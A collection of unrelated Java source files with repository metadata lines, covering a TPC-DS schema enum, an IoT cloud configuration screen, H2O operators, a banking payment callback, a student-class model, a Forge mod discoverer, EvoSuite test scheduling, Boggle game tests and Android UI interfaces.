CS_SHIP_CDEMO_SK(IDENTIFIER),
CS_SHIP_HDEMO_SK(IDENTIFIER),
CS_SHIP_ADDR_SK(IDENTIFIER),
CS_CALL_CENTER_SK(IDENTIFIER),
CS_CATALOG_PAGE_SK(IDENTIFIER),
CS_SHIP_MODE_SK(IDENTIFIER),
CS_WAREHOUSE_SK(IDENTIFIER),
CS_ITEM_SK(IDENTIFIER),
CS_PROMO_SK(IDENTIFIER),
CS_ORDER_NUMBER(IDENTIFIER),
CS_QUANTITY(INTEGER),
CS_WHOLESALE_COST(decimal(7, 2)),
CS_LIST_PRICE(decimal(7, 2)),
CS_SALES_PRICE(decimal(7, 2)),
CS_EXT_DISCOUNT_AMT(decimal(7, 2)),
CS_EXT_SALES_PRICE(decimal(7, 2)),
CS_EXT_WHOLESALE_COST(decimal(7, 2)),
CS_EXT_LIST_PRICE(decimal(7, 2)),
CS_EXT_TAX(decimal(7, 2)),
CS_COUPON_AMT(decimal(7, 2)),
CS_EXT_SHIP_COST(decimal(7, 2)),
CS_NET_PAID(decimal(7, 2)),
CS_NET_PAID_INC_TAX(decimal(7, 2)),
CS_NET_PAID_INC_SHIP(decimal(7, 2)),
CS_NET_PAID_INC_SHIP_TAX(decimal(7, 2)),
CS_NET_PROFIT(decimal(7, 2));
private final ColumnType type;
CatalogSalesColumn(ColumnType type)
{
this.type = type;
}
@Override
public Table getTable()
{
return CATALOG_SALES;
}
@Override
public String getName()
{
return name().toLowerCase();
}
@Override
public ColumnType getType()
{
return type;
}
@Override
public int getPosition()
{
return ordinal();
}
}
| 28 | 75 | 0.707686 |
08c994c7a0c086d69e59dc583548c09dcc1e4c25 | 5,850 | /*
* Copyright (c) 2017 STMicroelectronics – All rights reserved
* The STMicroelectronics corporate logo is a trademark of STMicroelectronics
*
* Redistribution and use in source and binary forms, with or without modification,
* are permitted provided that the following conditions are met:
*
* - Redistributions of source code must retain the above copyright notice, this list of conditions
* and the following disclaimer.
*
* - Redistributions in binary form must reproduce the above copyright notice, this list of
* conditions and the following disclaimer in the documentation and/or other materials provided
* with the distribution.
*
* - Neither the name nor trademarks of STMicroelectronics International N.V. nor any other
* STMicroelectronics company nor the names of its contributors may be used to endorse or
* promote products derived from this software without specific prior written permission.
*
* - All of the icons, pictures, logos and other images that are provided with the source code
* in a directory whose title begins with st_images may only be used for internal purposes and
* shall not be redistributed to any third party or modified in any way.
*
* - Any redistributions in binary form shall not include the capability to display any of the
* icons, pictures, logos and other images that are provided with the source code in a directory
* whose title begins with st_images.
*
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR
* IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY
* AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER
* OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
* CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
* SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
* THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
* OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY
* OF SUCH DAMAGE.
*/
package com.st.BlueMS.demos.Cloud.IBMWatson;
import android.content.Context;
import android.content.SharedPreferences;
import android.support.annotation.Nullable;
import android.support.design.widget.TextInputLayout;
import android.text.Editable;
import android.text.TextWatcher;
import android.view.LayoutInflater;
import android.view.View;
import android.view.ViewGroup;
import android.widget.EditText;
import com.st.BlueMS.R;
import com.st.BlueMS.demos.Cloud.MqttClientConfigurationFactory;
import com.st.BlueMS.demos.Cloud.MqttClientConnectionFactory;
import com.st.BlueMS.demos.Cloud.util.MqttClientUtil;
import com.st.BlueSTSDK.Node;
/**
* Object that help to configure the Ibm Watson Iot/BlueMX service, using the quickstart configuration
*/
public class IBMWatsonQuickStartConfigFactory implements MqttClientConfigurationFactory,TextWatcher {
private static final String CONF_PREFERENCE = IBMWatsonConfigFactory.class.getCanonicalName();
private static final String DEVICE_KEY = CONF_PREFERENCE+".DEVICE_KEY";
private static final String FACTORY_NAME="IBM Watson IoT - Quickstart";
private TextInputLayout mDeviceIdLayout;
private EditText mDeviceIdText;
private Node.Type mNodeType;
private void loadFromPreferences(SharedPreferences pref){
mDeviceIdText.setText(pref.getString(DEVICE_KEY,""));
}
private void storeToPreference(SharedPreferences pref){
pref.edit()
.putString(DEVICE_KEY,mDeviceIdText.getText().toString())
.apply();
}
@Override
public void attachParameterConfiguration(Context c, ViewGroup root) {
LayoutInflater inflater = (LayoutInflater) c.getSystemService(Context.LAYOUT_INFLATER_SERVICE);
View v = inflater.inflate(R.layout.cloud_config_bluemx_quickstart,root);
mDeviceIdText = (EditText) v.findViewById(R.id.blueMXQuick_deviceId);
mDeviceIdLayout = (TextInputLayout) v.findViewById(R.id.blueMXQuick_deviceIdWrapper);
mDeviceIdText.addTextChangedListener(this);
loadFromPreferences(c.getSharedPreferences(CONF_PREFERENCE,Context.MODE_PRIVATE));
}
@Override
public void loadDefaultParameters(@Nullable Node n) {
if(n==null){
mNodeType = Node.Type.GENERIC;
return;
}//else
if(mDeviceIdText.getText().length()==0)
mDeviceIdText.setText(MqttClientUtil.getDefaultCloudDeviceName(n));
mNodeType=n.getType();
}
@Override
public String getName() {
return FACTORY_NAME;
}
@Override
public MqttClientConnectionFactory getConnectionFactory() throws IllegalArgumentException {
Context c = mDeviceIdText.getContext();
storeToPreference(c.getSharedPreferences(CONF_PREFERENCE,Context.MODE_PRIVATE));
return new IBMWatsonQuickStartFactory(mNodeType.name(),mDeviceIdText.getText().toString());
}
@Override
public void beforeTextChanged(CharSequence charSequence, int i, int i1, int i2) {
}
@Override
public void onTextChanged(CharSequence charSequence, int i, int i1, int i2) {
}
@Override
public void afterTextChanged(Editable editable) {
String input = mDeviceIdText.getText().toString();
input = input.replace(" ","");
if(input.isEmpty()) {
mDeviceIdLayout.setErrorEnabled(true);
mDeviceIdLayout.setError(mDeviceIdText.getContext().getString(R.string.cloudLog_watson_deviceIdError));
}else{
mDeviceIdLayout.setError(null);
mDeviceIdLayout.setErrorEnabled(false);
}
}
}
| 42.086331 | 115 | 0.745641 |
2233714173c4ba626faa34f289a8f6c35ffef348 | 2,268 | package water.rapids.ast.prims.math;
import water.H2O;
import water.MRTask;
import water.fvec.Chunk;
import water.fvec.Frame;
import water.fvec.NewChunk;
import water.fvec.Vec;
import water.rapids.Val;
import water.rapids.ast.AstBuiltin;
import water.rapids.vals.ValFrame;
import water.rapids.vals.ValNum;
import water.rapids.vals.ValRow;
/**
* Subclasses auto-widen between scalars and Frames, and have exactly one argument
*/
public abstract class AstUniOp<T extends AstUniOp<T>> extends AstBuiltin<T> {
@Override
public String[] args() {
return new String[]{"ary"};
}
@Override
public int nargs() {
return 1 + 1;
}
@Override
public Val exec(Val... args) {
Val val = args[1];
switch (val.type()) {
case Val.NUM:
return new ValNum(op(val.getNum()));
case Val.FRM:
Frame fr = val.getFrame();
for (int i = 0; i < fr.numCols(); i++)
if (!fr.vec(i).isNumeric())
throw new IllegalArgumentException(
"Operator " + str() + "() cannot be applied to non-numeric column " + fr.name(i));
// Get length of columns in fr and append `op(colName)`. For example, a column named "income" that had
// a log transformation would now be changed to `log(income)`.
String[] newNames = new String[fr.numCols()];
for (int i = 0; i < newNames.length; i++) {
newNames[i] = str() + "(" + fr.name(i) + ")";
}
return new ValFrame(new MRTask() {
@Override
public void map(Chunk cs[], NewChunk ncs[]) {
for (int col = 0; col < cs.length; col++) {
Chunk c = cs[col];
NewChunk nc = ncs[col];
for (int i = 0; i < c._len; i++)
nc.addNum(op(c.atd(i)));
}
}
}.doAll(fr.numCols(), Vec.T_NUM, fr).outputFrame(newNames, null));
case Val.ROW:
double[] ds = new double[val.getRow().length];
for (int i = 0; i < ds.length; ++i)
ds[i] = op(val.getRow()[i]);
String[] names = ((ValRow) val).getNames().clone();
return new ValRow(ds, names);
default:
throw H2O.unimpl("unop unimpl: " + val.getClass());
}
}
public abstract double op(double d);
}
| 29.454545 | 110 | 0.573633 |
64fe9484766cbc9491ddaf9e2832c25e2920f363 | 4,257 | package com.dcits.dcwlt.pay.online.event.callback;
import com.alibaba.fastjson.JSONObject;
import com.dcits.dcwlt.common.pay.channel.bankcore.dto.BankCore996666.BankCore996666Rsp;
import com.dcits.dcwlt.pay.api.domain.dcep.eventBatch.EventDealRspMsg;
import com.dcits.dcwlt.common.pay.constant.AppConstant;
import com.dcits.dcwlt.pay.api.model.PayTransDtlInfoDO;
import com.dcits.dcwlt.pay.api.model.StateMachine;
import com.dcits.dcwlt.pay.online.event.callback.ReCreditCoreQryCallBack;
import com.dcits.dcwlt.pay.online.service.ICoreProcessService;
import com.dcits.dcwlt.pay.online.event.coreqry.ICoreQryCallBack;
import com.dcits.dcwlt.pay.online.service.IPayTransDtlInfoService;
import com.dcits.dcwlt.pay.online.service.impl.TxEndNtfcntHandleServiceImpl;
import org.slf4j.Logger;
import org.slf4j.LoggerFactory;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.stereotype.Component;
/**
* 终态通知 220 或 221 回查核心后回调处理
*/
@Component("TxEndNTCoreQryCallBack")
public class TxEndNTCoreQryCallBack implements ICoreQryCallBack {
@Autowired
private TxEndNtfcntHandleServiceImpl handleService;
@Autowired
private IPayTransDtlInfoService payTransDtlInfoRepository;
@Autowired
private ICoreProcessService bankCoreProcessService;
private static final Logger logger = LoggerFactory.getLogger(ReCreditCoreQryCallBack.class);
@Override
public EventDealRspMsg coreSucc(EventDealRspMsg eventDealRspMsg, BankCore996666Rsp bankCore996666Rsp, JSONObject eventParam) {
logger.info("交易兑回终态通知-核心回查-核心状态为成功");
// 220--> 210 或 221--> 211,调推断
txEndNTQryCoreDone(bankCore996666Rsp, eventParam);
return eventDealRspMsg;
}
@Override
public EventDealRspMsg coreFail(EventDealRspMsg eventDealRspMsg, BankCore996666Rsp bankCore996666Rsp, JSONObject eventParam) {
logger.info("交易兑回终态通知-核心回查-核心状态为失败");
// 220--> 200 或 221--> 201,调推断
txEndNTQryCoreDone(bankCore996666Rsp, eventParam);
return eventDealRspMsg;
}
@Override
public EventDealRspMsg coreAbend(EventDealRspMsg eventDealRspMsg, BankCore996666Rsp bankCore996666Rsp, JSONObject eventParam) {
return eventDealRspMsg;
}
@Override
public EventDealRspMsg coreReversed(EventDealRspMsg eventDealRspMsg, BankCore996666Rsp bankCore996666Rsp, JSONObject eventParam) {
return eventDealRspMsg;
}
private void txEndNTQryCoreDone(BankCore996666Rsp bankCore996666Rsp, JSONObject eventParam) {
// TxEndNtfcntHandleService handleService = RtpUtil.getInstance().getBean("txEndNtfcntHandleService");
// IPayTransDtlInfoRepository payTransDtlInfoRepository = RtpUtil.getInstance().getBean("payTransDtlInfoRepository");
// ICoreProcessService bankCoreProcessService = RtpUtil.getInstance().getBean("bankCoreProcessService");
String payDate = eventParam.getString("payDate");
String paySerno = eventParam.getString("paySerno");
//查询原交易状态
PayTransDtlInfoDO payTransDtlInfoDO = payTransDtlInfoRepository.query(payDate,paySerno);
String trxStatus = payTransDtlInfoDO.getTrxStatus();
String coreProcStatus = payTransDtlInfoDO.getCoreProcStatus();
String pathProcStatus = payTransDtlInfoDO.getPathProcStatus();
StateMachine stateMachine = new StateMachine();
stateMachine.setPreTrxStatus(trxStatus);
stateMachine.setPreCoreProcStatus(coreProcStatus);
stateMachine.setPrePathProcStatus(pathProcStatus);
boolean status221 = (AppConstant.TRXSTATUS_ABEND.equals(trxStatus)
&& AppConstant.CORESTATUS_ABEND.equals(coreProcStatus)
&& AppConstant.PAYPATHSTATUS_SUCCESS.equals(pathProcStatus));
boolean status220 = (AppConstant.TRXSTATUS_ABEND.equals(trxStatus)
&& AppConstant.CORESTATUS_ABEND.equals(coreProcStatus)
&& AppConstant.PAYPATHSTATUS_FAILED.equals(pathProcStatus));
if(status221 || status220){
//核心状态修改
bankCoreProcessService.qryCoreStsRetDone(payTransDtlInfoDO,bankCore996666Rsp,stateMachine);
//调用兑回推断
handleService.reconvertInferenceHandle(payDate,paySerno);
}
}
}
| 40.932692 | 134 | 0.760395 |
d73c3448d610771f9043159dab98555eb6d1c7fb | 3,810 | public class Turma {
private Aluno[] alunos;
private int numAlunos;
private int nivel;
private int diaDaSemana;
private int turno;
private String codTurma;
public static final int MINIMO = 1;
public static final int MAX_DIA = 7;
public static final int MAX_TURNO = 3;
public static final int MAX_ALUNOS = 20;
public Turma(){
this.setNivel(MINIMO);
this.setDiaDaSemana(MINIMO);
this.setTurno(MINIMO);
this.definirCodTurma();
this.alunos = new Aluno[MAX_ALUNOS];
}
public Turma(int nivel, int diaDaSemana, int turno){
this.setNivel(nivel);
this.setDiaDaSemana(diaDaSemana);
this.setTurno(turno);
this.definirCodTurma();
this.alunos = new Aluno[MAX_ALUNOS];
}
public Aluno getAlunos(int numAluno) {
return alunos[numAluno];
}
public int getNumAlunos() {
return numAlunos;
}
public int getNivel() {
return nivel;
}
public int getDiaDaSemana() {
return diaDaSemana;
}
public int getTurno() {
return turno;
}
public String getCodTurma() {
return codTurma;
}
private void setNumAluno() {
this.numAlunos ++;
}
public void setNivel(int nivel) {
this.nivel = nivel;
}
public void setDiaDaSemana(int diaDaSemana) {
if(diaDaSemana>=MINIMO&&diaDaSemana<=MAX_DIA){
this.diaDaSemana = diaDaSemana;
}
}
public void setTurno(int turno) {
if(turno>=MINIMO&&turno<=MAX_TURNO){
this.turno = turno;
}
}
private void definirCodTurma() {
this.codTurma = Integer.toString(getNivel())+getDiaDaSemana()+getTurno();
}
public void matricularAluno(String nomeDoAluno){
if(getNumAlunos()<MAX_ALUNOS){
this.alunos[getNumAlunos()] = new Aluno(nomeDoAluno, getCodTurma());
setNumAluno();
}
this.ordenarChamada();
}
private void ordenarChamada() {
for(int i = 0; i<this.getNumAlunos()-1; i++){
boolean isOrdenado = true;
for(int j = 0; j<(this.getNumAlunos()-1-i); j++){
if(this.getAlunos(j).getNome().compareToIgnoreCase(this.getAlunos(j+1).getNome())>0){
Aluno aux = this.getAlunos(j);
this.alunos[j] = this.alunos[j+1];
this.alunos[j+1] = aux;
isOrdenado = false;
}
}
if(isOrdenado)break;
}
}
public String relatorioTurma(){
String relatorio = "Relatório geral Turma "+this.getCodTurma()+"/n";
for(int i = 0;i<this.getNumAlunos();i++){
relatorio += this.alunos[i].toString()+"/n";
}
return relatorio;
}
public double mediaNotaTurma(){
double somaNotaTotal = 0;
for(int i = 0;i<this.getNumAlunos();i++){
somaNotaTotal += this.alunos[i].notaTotal();
}
return somaNotaTotal/this.getNumAlunos();
}
public double mediaFrequenciaTurma(){
double somaFrequenciaTotal = 0;
for(int i = 0;i<this.getNumAlunos();i++){
somaFrequenciaTotal += this.alunos[i].frequenciaEmPorcentagem();
}
return somaFrequenciaTotal/this.getNumAlunos();
}
public Aluno alunoDestaque(){
Aluno destaque = this.alunos[getNumAlunos()-1];
for(int i = 0;i<(this.getNumAlunos()-1);i++){
if(this.alunos[i].getDesempenho()>destaque.getDesempenho()){
destaque = this.alunos[i];
}
}
return destaque;
}
public String toString(){
return "A turma "+this.getCodTurma()+"possui "+this.getNumAlunos()+" alunos e está no nível "+getNivel()+".";
}
} | 32.564103 | 117 | 0.574278 |
bcda3b6d9ca8169b412f8dcf8bf9a6c383a8fb06 | 5,578 | /*
* Forge Mod Loader
* Copyright (c) 2012-2013 cpw.
* All rights reserved. This program and the accompanying materials
* are made available under the terms of the GNU Lesser Public License v2.1
* which accompanies this distribution, and is available at
* http://www.gnu.org/licenses/old-licenses/gpl-2.0.html
*
* Contributors:
* cpw - implementation
*/
package cpw.mods.fml.common.discovery;
import java.io.File;
import java.io.FileFilter;
import java.io.FileInputStream;import java.io.*;
import java.util.Arrays;
import java.util.List;
import java.util.regex.Matcher;
import org.apache.logging.log4j.Level;
import com.google.common.base.Throwables;
import com.google.common.collect.Lists;
import cpw.mods.fml.common.FMLLog;
import cpw.mods.fml.common.LoaderException;
import cpw.mods.fml.common.MetadataCollection;
import cpw.mods.fml.common.ModContainer;
import cpw.mods.fml.common.ModContainerFactory;
import cpw.mods.fml.common.discovery.asm.ASMModParser;
public class DirectoryDiscoverer implements ITypeDiscoverer
{
private static final boolean DEBUG_DD = Boolean.parseBoolean(System.getProperty("fml.debugDirectoryDiscoverer", "false"));
private class ClassFilter implements FileFilter
{
@Override
public boolean accept(File file)
{
return (file.isFile() && classFile.matcher(file.getName()).matches()) || file.isDirectory();
}
}
private ASMDataTable table;
@Override
public List<ModContainer> discover(ModCandidate candidate, ASMDataTable table)
{
this.table = table;
List<ModContainer> found = Lists.newArrayList();
String candidate_name = candidate.getModContainer().getName();
//skip search in folders
if (candidate_name.equalsIgnoreCase("VoxelMods") || candidate_name.equalsIgnoreCase("carpentersblocks") || candidate_name.equalsIgnoreCase("matmos") || candidate_name.equalsIgnoreCase("railcraft") || candidate_name.equalsIgnoreCase("moarperipherals") || candidate_name.equalsIgnoreCase("gammabright") || candidate_name.equalsIgnoreCase("LOTR_UpdatedLangFiles") || candidate_name.equalsIgnoreCase("Reika") || candidate_name.equalsIgnoreCase("tabula") || candidate_name.equalsIgnoreCase("ThebombzenAPI") || candidate_name.equalsIgnoreCase("TerrainControl") || candidate_name.equalsIgnoreCase("presencefootsteps")) {
if (DEBUG_DD) FMLLog.fine("Skip examining directory %s for potential mods", candidate_name);
return found;
}
if (DEBUG_DD) FMLLog.fine("Examining directory %s for potential mods", candidate_name);
exploreFileSystem("", candidate.getModContainer(), found, candidate, null);
for (ModContainer mc : found)
{
table.addContainer(mc);
}
return found;
}
public void exploreFileSystem(String path, File modDir, List<ModContainer> harvestedMods, ModCandidate candidate, MetadataCollection mc)
{
if (path.length() == 0)
{
File metadata = new File(modDir, "mcmod.info");
try
{
try (FileInputStream fis = new FileInputStream(metadata)) {
try (BufferedInputStream bis = new BufferedInputStream(fis)) {
mc = MetadataCollection.from(bis,modDir.getName());
}}//fis.close();
if (DEBUG_DD) FMLLog.fine("Found an mcmod.info file in directory %s", modDir.getName());
}
catch (Exception e)
{
mc = MetadataCollection.from(null,"");
if (DEBUG_DD) FMLLog.fine("No mcmod.info file found in directory %s", modDir.getName());
}
}
File[] content = modDir.listFiles(new ClassFilter());
// Always sort our content
Arrays.sort(content);
for (File file : content)
{
String file_name = file.getName();
if (file.isDirectory())
{
if (DEBUG_DD) FMLLog.finer("Recursing into package %s", path + file_name);
exploreFileSystem(path + file_name + ".", file, harvestedMods, candidate, mc);
continue;
}
Matcher match = classFile.matcher(file_name);
if (match.matches())
{
ASMModParser modParser = null;
try
{
try (FileInputStream fis = new FileInputStream(file)) {
try (BufferedInputStream bis = new BufferedInputStream(fis)) {
modParser = new ASMModParser(bis);
}}//fis.close();
candidate.addClassEntry(path+file_name);
}
catch (LoaderException e)
{
FMLLog.log(Level.ERROR, e, "There was a problem reading the file %s - probably this is a corrupt file", file.getPath());
throw e;
}
catch (Exception e)
{
Throwables.propagate(e);
}
modParser.validate();
modParser.sendToTable(table, candidate);
ModContainer container = ModContainerFactory.instance().build(modParser, candidate.getModContainer(), candidate);
if (container!=null)
{
harvestedMods.add(container);
container.bindMetadata(mc);
}
}
}
}
public void clearValues()
{
table=null;
}
}
| 38.468966 | 621 | 0.614916 |
f10fa9f6fd3ec79946a83be8272d4a12978ffd74 | 5,996 | /**
* Copyright (C) 2010-2018 Gordon Fraser, Andrea Arcuri and EvoSuite
* contributors
*
* This file is part of EvoSuite.
*
* EvoSuite is free software: you can redistribute it and/or modify it
* under the terms of the GNU Lesser General Public License as published
* by the Free Software Foundation, either version 3.0 of the License, or
* (at your option) any later version.
*
* EvoSuite is distributed in the hope that it will be useful, but
* WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* Lesser Public License for more details.
*
* You should have received a copy of the GNU Lesser General Public
* License along with EvoSuite. If not, see <http://www.gnu.org/licenses/>.
*/
package org.evosuite.continuous.job.schedule;
import org.evosuite.continuous.job.JobDefinition;
import org.evosuite.continuous.job.JobScheduler;
import org.evosuite.continuous.project.ProjectStaticData;
import org.evosuite.continuous.project.ProjectStaticData.ClassInfo;
import org.evosuite.utils.LoggingUtils;
import java.util.ArrayList;
import java.util.Collections;
import java.util.Comparator;
import java.util.LinkedList;
import java.util.List;
/**
* <p>
* HistorySchedule class.
* </p>
*
* @author José Campos
*/
public class HistorySchedule extends OneTimeSchedule {
private static double MODIFIED = 2.0;
private static double NOT_MODIFIED = 1.0;
public static final int COMMIT_IMPROVEMENT = 3;
public HistorySchedule(JobScheduler scheduler) {
super(scheduler);
}
@Override
protected List<JobDefinition> createScheduleOnce() {
ProjectStaticData data = this.scheduler.getProjectData();
int maximumBudgetPerCore = 60 * this.scheduler.getConfiguration().timeInMinutes;
// the total budget we need to choose how to allocate
int totalBudget =
maximumBudgetPerCore * this.scheduler.getConfiguration().getNumberOfUsableCores();
// a part of the budget is fixed, as each CUT needs a minimum of it
int minTime = 60 * this.scheduler.getConfiguration().minMinutesPerJob
* data.getTotalNumberOfTestableCUTs();
// this is what left from the minimum allocation, and that now we can
// choose how best to allocate
int extraTime = totalBudget - minTime;
// check how much time we can give extra for each branch in a CUT
int number_of_branches = data.getTotalNumberOfBranches();
double timePerBranch =
number_of_branches == 0.0 ? 0.0 : (double) extraTime / (double) number_of_branches;
List<ClassInfo> classesInfo = new ArrayList<ClassInfo>(data.getClassInfos());
// classes that have been changed first
Collections.sort(classesInfo, new Comparator<ClassInfo>() {
@Override
public int compare(ClassInfo a, ClassInfo b) {
if (a.hasChanged() && !b.hasChanged()) {
return -1;
} else if (!a.hasChanged() && b.hasChanged()) {
return 1;
}
// otherwise, get the most difficult classes first
return Integer.compare(b.numberOfBranches, a.numberOfBranches);
}
});
int totalLeftOver = 0;
int totalBudgetUsed = 0;
List<JobDefinition> jobs = new LinkedList<JobDefinition>();
for (ClassInfo c_info : classesInfo) {
if (!c_info.isTestable()) {
continue;
}
if (!c_info.hasChanged() && !c_info.isToTest()) {
LoggingUtils.getEvoLogger().info("- Skipping class " + c_info.getClassName()
+ " because it does not seem to be worth it");
continue;
}
double budget = 60.0 * scheduler.getConfiguration().minMinutesPerJob
+ (c_info.numberOfBranches * timePerBranch);
// classes that have been modified could get more time than 'normal' classes
budget *= c_info.hasChanged() ? HistorySchedule.MODIFIED : HistorySchedule.NOT_MODIFIED;
if (budget > maximumBudgetPerCore) {
/*
* Need to guarantee that no job has more than maximumBudgetPerCore regardless of number of
* cores
*/
totalLeftOver += (budget - maximumBudgetPerCore);
budget = maximumBudgetPerCore;
}
if ((totalBudgetUsed + budget) <= totalBudget) {
totalBudgetUsed += budget;
LoggingUtils.getEvoLogger()
.info("+ Going to generate test cases for " + c_info.getClassName()
+ " using a time budget of " + budget + " seconds. Status of it ["
+ (c_info.hasChanged() ? "modified" : "not modified") + "]");
jobs.add(new JobDefinition((int) budget,
this.scheduler.getConfiguration().getConstantMemoryPerJob(), c_info.getClassName(), 0,
null, null));
} else {
LoggingUtils.getEvoLogger()
.info("- There is not enough time budget to test " + c_info.getClassName()
+ ". Status of it [" + (c_info.hasChanged() ? "modified" : "not modified") + "]");
// mark this CUT as not tested. this is useful to later on distinguish
// classes that EvoSuite failed to generate test cases and classes that
// we didn't actually create any job for
c_info.isToTest(false);
}
}
totalLeftOver += (totalBudget - totalBudgetUsed);
/*
* do we still have some more budget to allocate? and is it less
* than totalBudget? (because if it is equal to totalBudget, means
* that we have skipped all classes, and therefore there is not point
* of distributing left over budget as all classes will be skipped)
*/
if (totalLeftOver > 0 && totalLeftOver < totalBudget) {
LoggingUtils.getEvoLogger().info("Distributing left budget (" + totalLeftOver + ")");
distributeExtraBudgetEvenly(jobs, totalLeftOver, maximumBudgetPerCore);
}
return jobs;
}
}
| 37.012346 | 100 | 0.659273 |
8a18546610f4728f6eab72b36a87a0a16f20e99e | 2,623 | /*
Copyright 2021 Raffaele Florio
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
package io.github.raffaeleflorio.boggle.domain.sheet;
import io.github.raffaeleflorio.boggle.domain.dice.Dice;
import io.github.raffaeleflorio.boggle.domain.sandtimer.SandTimer;
import io.github.raffaeleflorio.boggle.hamcrest.AreEmittedFailure;
import org.junit.jupiter.api.Test;
import java.time.Instant;
import java.util.UUID;
import static io.github.raffaeleflorio.boggle.hamcrest.IsEmittedFailure.emits;
import static io.github.raffaeleflorio.boggle.hamcrest.IsThrowedWithMessage.throwsWithMessage;
import static org.hamcrest.MatcherAssert.assertThat;
import static org.hamcrest.Matchers.equalTo;
import static org.hamcrest.Matchers.not;
class DeadlineSheetTest {
@Test
void testAddingWordAfterExpiration() {
assertThat(
new DeadlineSheet<>(
new Sheet.Fake<>(UUID.randomUUID()),
new SandTimer.Fake(true)
).word(new Dice.Fake<>()),
emits(IllegalStateException.class, "Deadline reached")
);
}
@Test
void testAddingWordBeforeExpiration() {
assertThat(
new DeadlineSheet<>(
new Sheet.Fake<>(UUID.randomUUID()),
new SandTimer.Fake(false)
).word(new Dice.Fake<>()),
not(emits(IllegalStateException.class, "Deadline reached"))
);
}
@Test
void testIdAfterExpiration() {
var expected = UUID.randomUUID();
assertThat(
new DeadlineSheet<>(
new Sheet.Fake<>(expected),
new SandTimer.Fake(true)
).id(),
equalTo(expected)
);
}
@Test
void testDescriptionAfterExpiration() {
assertThat(
() -> new DeadlineSheet<>(
new Sheet.Fake<>(UUID.randomUUID()),
Instant.EPOCH
).description(),
not(throwsWithMessage(IllegalStateException.class, "Deadline reached"))
);
}
@Test
void testWordsAfterExpiration() {
assertThat(
new DeadlineSheet<>(
new Sheet.Fake<>(UUID.randomUUID()),
new SandTimer.Fake(true)
).words(),
not(AreEmittedFailure.emits(IllegalStateException.class, "Deadline reached"))
);
}
}
| 29.47191 | 94 | 0.703774 |
7b5ef3ab4e35cf3c3fcf65600d222f76173f8418 | 2,677 | package com.liangmayong.androidblock.base.interfaces;
import com.liangmayong.androidblock.actionbar.ActionBar;
import com.liangmayong.androidblock.actionbar.ActionBarController;
import com.liangmayong.androidblock.actionbar.configs.ActionBarTheme;
import com.liangmayong.androidblock.base.BlockFragment;
import com.liangmayong.androidblock.base.stack.StackManager;
import android.os.Bundle;
import android.view.View;
import android.widget.RelativeLayout;
/**
* IBlockActivity
*
* @author LiangMaYong
* @version 1.0
*/
public interface IBlockActivity {
/**
* getStackManager
*
* @return StackManager
*/
public StackManager getStackManager();
/**
* initViews
*
* @param rootView rootView
*/
public void initViews(View rootView);
/**
* isDefaultShowActionBar
*
* @return true or false
*/
public boolean isDefaultShowActionBar();
/**
* isShowActionBar
*
* @return true or false
*/
public int getActionBarShadowColor();
/**
* getRootView
*
* @return rootView
*/
public RelativeLayout getRootView();
/**
* onBlockCreate
*
* @param savedInstanceState savedInstanceState
*/
public void onBlockCreate(Bundle savedInstanceState);
/**
* onFragmentCreateView
*
* @param fragment fragment
* @param view view
*/
public void onFragmentCreateView(BlockFragment fragment, View view);
/**
* get actionBar theme
*
* @return actionbar theme
*/
public ActionBarTheme getActionBarTheme();
/**
* get actionBar controller
*
* @return actionBar controller
*/
public ActionBarController getActionBarController();
/**
* get block actionbar
*
* @return actionbar
*/
public ActionBar getBlockActionBar();
/**
* get frist fragment
*
* @return block fragment
*/
public BlockFragment getFristFragment();
/**
* set anim
*
* @param nextIn nextIn
* @param nextOut nextOut
* @param quitIn quitIn
* @param quitOut quitOut
*/
public void setAnim(int nextIn, int nextOut, int quitIn, int quitOut);
/**
* onActivityCreate
*
* @param savedInstanceState savedInstanceState
*/
public void onActivityCreate(Bundle savedInstanceState);
/**
* showToast
*
* @param text text
*/
public void showToast(CharSequence text);
/**
* showToast
*
* @param text text
* @param duration duration
*/
public void showToast(CharSequence text, int duration);
}
| 20.280303 | 74 | 0.63093 |
ed32021d730c1e7672d917fea49cfb467146889a | 1,346 | package in.hit_hot.hit_hot.models;
import android.content.Context;
import in.hit_hot.hit_hot.R;
import java.util.ArrayList;
import java.util.List;
import androidx.annotation.NonNull;
public class Album {
private final List<Song> mSongs;
private int mAlbumPosition;
public Album() {
mSongs = new ArrayList<>();
}
public static String getYearForAlbum(@NonNull final Context context, final int year) {
return year != 0 && year != -1 ? String.valueOf(year) : context.getString(R.string.unknown_year);
}
public final int getAlbumPosition() {
return mAlbumPosition;
}
public void setAlbumPosition(final int albumPosition) {
mAlbumPosition = albumPosition;
}
public final List<Song> getSongs() {
return mSongs;
}
public final String getTitle() {
return getFirstSong().getAlbumName();
}
public final int getArtistId() {
return getFirstSong().getArtistId();
}
final String getArtistName() {
return getFirstSong().getArtistName();
}
public final int getYear() {
return getFirstSong().getYear();
}
final int getSongCount() {
return mSongs.size();
}
@NonNull
private Song getFirstSong() {
return mSongs.isEmpty() ? Song.EMPTY_SONG : mSongs.get(0);
}
}
| 21.365079 | 105 | 0.644131 |
63211f4514ab5551853f9d7672ec00b7fe2028e3 | 8,017 | /*
* File: PoissonDistributionTest.java
